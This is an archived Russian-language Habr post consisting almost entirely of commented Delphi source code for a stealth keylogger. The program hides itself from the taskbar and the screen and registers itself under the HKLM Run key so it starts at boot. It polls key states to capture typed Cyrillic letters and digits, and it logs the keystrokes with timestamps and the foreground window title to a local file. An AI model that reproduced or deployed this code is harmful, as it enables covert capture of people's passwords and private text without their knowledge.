СоХабр закрыт.
С 13.05.2019 изменения постов больше не отслеживаются, и новые посты не сохраняются.
procedure TForm1.FormShow(Sender: TObject);
begin
ShowWindow(Application.Handle, SW_HIDE); // Скрываем нашу программу в панели задач.
end;
procedure TForm1.FormCreate(Sender: TObject);
var
reg: TRegistry;
begin
Application.ShowMainForm:=false; //Скрываем нашу форму, то есть делаем её невидимой.
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.LazyWrite:=false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false);
reg.WriteString('тут впишете имя вашей программы.exe',application.ExeName);
reg.CloseKey;
reg.Free;
end; // Добавляем нашу программу в автозагрузку.
procedure TForm1.Timer1Timer(Sender: TObject);
var
s:string; //Переменная стринг она нам понадобиться на клавишу backspace.
begin
if GetAsyncKeyState(81)<>0 then //Если зажата клавиша 81 тогда.
begin
timer1.Enabled:=false; //Выключаем первый таймер.
memo1.Text:=memo1.Text+'й'; //Выводим в Memo1 букву й.
end;
begin
if GetAsyncKeyState(87)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ц';
end;
begin
if GetAsyncKeyState(192)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ё';
end;
begin
if GetAsyncKeyState(69)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'у';
end;
begin
if GetAsyncKeyState(82)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'к';
end;
begin
if GetAsyncKeyState(84)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'е';
end;
begin
if GetAsyncKeyState(89)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'н';
end;
begin
if GetAsyncKeyState(85)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'г';
end;
begin
if GetAsyncKeyState(73)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ш';
end;
begin
if GetAsyncKeyState(79)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'щ';
end;
begin
if GetAsyncKeyState(80)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'з';
end;
begin
if GetAsyncKeyState(219)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'х';
end;
begin
if GetAsyncKeyState(221)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ъ';
end;
begin
if GetAsyncKeyState(65)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ф';
end;
begin
if GetAsyncKeyState(83)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ы';
end;
begin
if GetAsyncKeyState(68)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'в';
end;
begin
if GetAsyncKeyState(70)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'а';
end;
begin
if GetAsyncKeyState(71)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'п';
end;
begin
if GetAsyncKeyState(72)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'р';
end;
begin
if GetAsyncKeyState(74)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'о';
end;
begin
if GetAsyncKeyState(75)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'л';
end;
begin
if GetAsyncKeyState(76)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'д';
end;
begin
if GetAsyncKeyState(186)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ж';
end;
begin
if GetAsyncKeyState(222)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'э';
end;
begin
if GetAsyncKeyState(90)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'я';
end;
begin
if GetAsyncKeyState(88)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ч';
end;
begin
if GetAsyncKeyState(67)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'с';
end;
begin
if GetAsyncKeyState(86)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'м';
end;
begin
if GetAsyncKeyState(66)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'и';
end;
begin
if GetAsyncKeyState(78)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'т';
end;
begin
if GetAsyncKeyState(77)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ь';
end;
begin
if GetAsyncKeyState(188)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'б';
end;
begin
if GetAsyncKeyState(190)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'ю';
end;
begin
if GetAsyncKeyState(191)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'.';
end;
begin
if GetAsyncKeyState(48)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'0';
end;
begin
if GetAsyncKeyState(49)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'1';
end;
begin
if GetAsyncKeyState(50)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'2';
end;
begin
if GetAsyncKeyState(51)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'3';
end;
begin
if GetAsyncKeyState(52)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'4';
end;
begin
if GetAsyncKeyState(53)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'5';
end;
begin
if GetAsyncKeyState(54)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'6';
end;
begin
if GetAsyncKeyState(55)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'7';
end;
begin
if GetAsyncKeyState(56)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'8';
end;
begin
if GetAsyncKeyState(57)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'9';
end;
begin
if GetAsyncKeyState(8)<>0 then //Если нажата клавиша 8 (то есть клавиша backspace) тогда.
begin
timer1.Enabled:=false; //Отключаем таймер1.
s:=memo1.Text; //Переменную s присваиваем к много строчному полю Мемо1.
Delete(s,length(s),1); //Удаляем 1 букву.
memo1.Text:=s; //И обратно поле Мемо1 присваиваем к переменной s.
end;
begin
if GetAsyncKeyState(97)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'1';
end;
begin
if GetAsyncKeyState(98)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'2';
end;
begin
if GetAsyncKeyState(99)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'3';
end;
begin
if GetAsyncKeyState(100)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'4';
end;
begin
if GetAsyncKeyState(101)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'5';
end;
begin
if GetAsyncKeyState(102)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'6';
end;
begin
if GetAsyncKeyState(103)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'7';
end;
begin
if GetAsyncKeyState(104)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'8';
end;
begin
if GetAsyncKeyState(105)<>0 then
begin
timer1.Enabled:=false;
memo1.Text:=memo1.Text+'9';
end;
begin
if GetAsyncKeyState(13)<>0 then //Если нажата клавиша 13 (то есть клавиша Ентер) тогда.
begin
timer1.Enabled:=false; //Таймер1 отключаем.
if memo1.Text <>'' then //Если Мемо1 больше пустоты тогда.
begin
button2.Click; //Нажимаем вторую кнопку которая выводит текущий процесс.
end;
end;
begin
if GetAsyncKeyState(32)<>0 then//Если нажата клавиша 32 (то есть клавиша пробел) тогда.
begin
timer1.Enabled:=false; //Таймер1 отключаем.
memo1.Text:=memo1.Text+' '; //В Мемо1 выводим пробел.
end;
begin
if GetAsyncKeyState(1)<>0 then//Если нажата клавиша 1 то есть левая клавиша мыши тогда.
begin
timer1.Enabled:=false; //Таймер1 отключаем.
if memo1.Text <>'' then //Если Мемо1 больше пустоты тогда.
begin
button2.Click; //Нажимаем вторую кнопку которая выводит текущий процесс.
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
if GetAsyncKeyState(81)or GetAsyncKeyState(87) //Если клавиша 81 или 87 итд.
or GetAsyncKeyState(192)or GetAsyncKeyState(69)
or GetAsyncKeyState(82)or GetAsyncKeyState(84)
or GetAsyncKeyState(89)or GetAsyncKeyState(85)
or GetAsyncKeyState(73)or GetAsyncKeyState(79)
or GetAsyncKeyState(80)or GetAsyncKeyState(219)
or GetAsyncKeyState(221)or GetAsyncKeyState(65)
or GetAsyncKeyState(83)or GetAsyncKeyState(68)
or GetAsyncKeyState(70)or GetAsyncKeyState(71)
or GetAsyncKeyState(72)or GetAsyncKeyState(74)
or GetAsyncKeyState(75)or GetAsyncKeyState(76)
or GetAsyncKeyState(186)or GetAsyncKeyState(222)
or GetAsyncKeyState(90)or GetAsyncKeyState(88)
or GetAsyncKeyState(67)or GetAsyncKeyState(86)
or GetAsyncKeyState(66)or GetAsyncKeyState(78)
or GetAsyncKeyState(77)or GetAsyncKeyState(188)
or GetAsyncKeyState(190)or GetAsyncKeyState(191)
or GetAsyncKeyState(13)or GetAsyncKeyState(32)
or GetAsyncKeyState(1)or GetAsyncKeyState(2)
or GetAsyncKeyState(8)or GetAsyncKeyState(48)
or GetAsyncKeyState(49)or GetAsyncKeyState(50)
or GetAsyncKeyState(51)or GetAsyncKeyState(52)
or GetAsyncKeyState(53)or GetAsyncKeyState(54)
or GetAsyncKeyState(55)or GetAsyncKeyState(56)
or GetAsyncKeyState(57)or GetAsyncKeyState(97)
or GetAsyncKeyState(98)or GetAsyncKeyState(99)
or GetAsyncKeyState(100)or GetAsyncKeyState(101)
or GetAsyncKeyState(102)or GetAsyncKeyState(103)
or GetAsyncKeyState(104)or GetAsyncKeyState(105)=0 then
//Если отжата какая либо из этих клавиш тогда.
timer1.Enabled:=true; //Включаем Timer1 .
end;
procedure TForm1.Button2Click(Sender: TObject);
var
buf: array[Byte] of Char; //Объявляем переменную куда будем писать процесс.
begin
GetWindowText(GetForegroundWindow, buf, Length(buf)*SizeOf(buf[0]));
//Функция вывода процесса в переменную.
Label1.Caption := '' + buf; //В Label 1 выводим название процесса.
button1.Click; //Нажимаем первую кнопку для записи в текстовый документ.
end;
procedure TForm1.Button1Click(Sender: TObject);
var
f: textfile; //Объявляем переменную f текст файл.
begin
AssignFile(f,ExtractFilePath(Application.ExeName)+'log.txt');
//Устанавливаем связь переменной с текстовый файлом по имени log.txt.
if FileExists(ExtractFilePath(Application.ExeName)+'log.txt')=false
//Если файла log.txt не существует.
then Rewrite(f) //Тогда перезаписываем его.
else Append(f); //Иначе открываем для редактирования.
if memo1.Text <>'' then //Если Мемо1 больше пустоты тогда.
Writeln(f, Memo1.text+' - '+''+TimeTostr(Time)+'('+DateToStr(Date)+')'+label1.caption);
//Записываем в текстовый файл текст с поля Мемо1 записываем время, дату и процесс находящийся в фокусе.
CloseFile(f); //Выходим из текстового файла.
memo1.Clear; //Чистим поле Мемо1.
label1.Caption:=''; //Чистим label1 где был наш процесс находящийся в фокусе.
end;
комментарии (46)